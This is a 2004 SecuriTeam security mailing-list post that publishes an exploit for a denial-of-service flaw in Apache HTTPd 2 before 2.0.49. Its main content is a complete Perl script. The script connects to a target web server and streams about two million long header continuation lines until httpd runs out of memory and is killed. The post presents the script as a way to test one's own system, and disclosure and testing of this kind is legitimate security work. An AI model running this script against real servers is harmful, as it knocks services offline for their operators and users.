[EXPL] Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

  • Next message: SecuriTeam: "[EXPL] Drcatd Multiple Buffer Overflows (Exploit)"
    To: list@securiteam.com
    Date: 21 Jul 2004 11:20:45 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article,
    <http://www.securiteam.com/unixfocus/5NP010ADFY.html> Apache HTTPd
    Arbitrary Long HTTP Headers DoS, under certain conditions passing
    arbitrary long headers to Apache will allocate large chunks of memory
    which eventually will lead to a DoS condition. The following exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    #/usr/bin/perl
    #
    #exploit for apache ap_get_mime_headers_core() vuln
    #
    #adv is here: http://www.guninski.com/httpd1.html
    #
    #version: apache 2 <2.0.49 apache 1 not tested.
    #
    #by bkbll bkbll#cnhonker.net http://www.cnhonker.com
    #
    #tail -f /var/log/messages
    #Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
    #

    use IO::Socket::INET;

    $host="10.10.10.114";
    $port=80;
    $sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
    => 'tcp') || die "new error$@\n";
    binmode($sock);
    $hostname="Host: $host";
    $buf2='A'x50;
    $buf4='A'x8183;
    $len=length($buf2);
    $buf="GET / HTTP/1.1\r\n";
    send($sock,$buf,0) || die "send error:$@\n";
    for($i= 0; $i < 2000000; $i++)
    {
        $buf=" $buf4\r\n";
        send($sock,$buf,0) || die "send error:$@, target maybe have been
    D.o.S?\n";
    }
    $buf="$hostname\r\n";
    $buf.="Content-Length: $len\r\n";

    $buf.="\r\n";
    $buf.=$buf2."\r\n\r\n";

    send($sock,$buf,0) || die "send error:$@\n";
    print "Ok, our buffer have send to target \n";
    close($sock);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59>
    http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Drcatd Multiple Buffer Overflows (Exploit)"

    Relevant Pages

    • [EXPL] Apache mod_rewrite Off-By-One (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... found in mod_rewrite apache module to the bugtraq mailing list. ... raised when mod_rewrite is dealing with an LDAP URL, ... # Vulnerability discovered by Mark Dowd. ...
      (Securiteam)
    • [NEWS] Apache Multiple Injection Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apache Multiple Injection Vulnerabilities ... Apache is the most widely deployed web server in the Internet. ...
      (Securiteam)
    • [UNIX] Apache HTTPd Arbitrary Long HTTP Headers DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The <http://httpd.apache.org/> Apache Software Foundation's HTTP Server ... * Apache web server version 2.0.49, ... It is possible to consume arbitrary amount of memory using a specially ...
      (Securiteam)
    • [UNIX] Apache Local User to Root Escalation
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apache Local User to Root Escalation ... invoke the TIOCSTI ioctl on the fd corresponding to its ctty, ... a user created CGI script can inject and have executed any input ...
      (Securiteam)
    • [NEWS] Apache "mod_rewrite" LDAP URI Handling Remote Off-By-One Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability has been identified in Apache, ... which could be exploited by remote attackers to execute arbitrary ... Off-by-one error in the the LDAP scheme handling in the Rewrite module ...
      (Securiteam)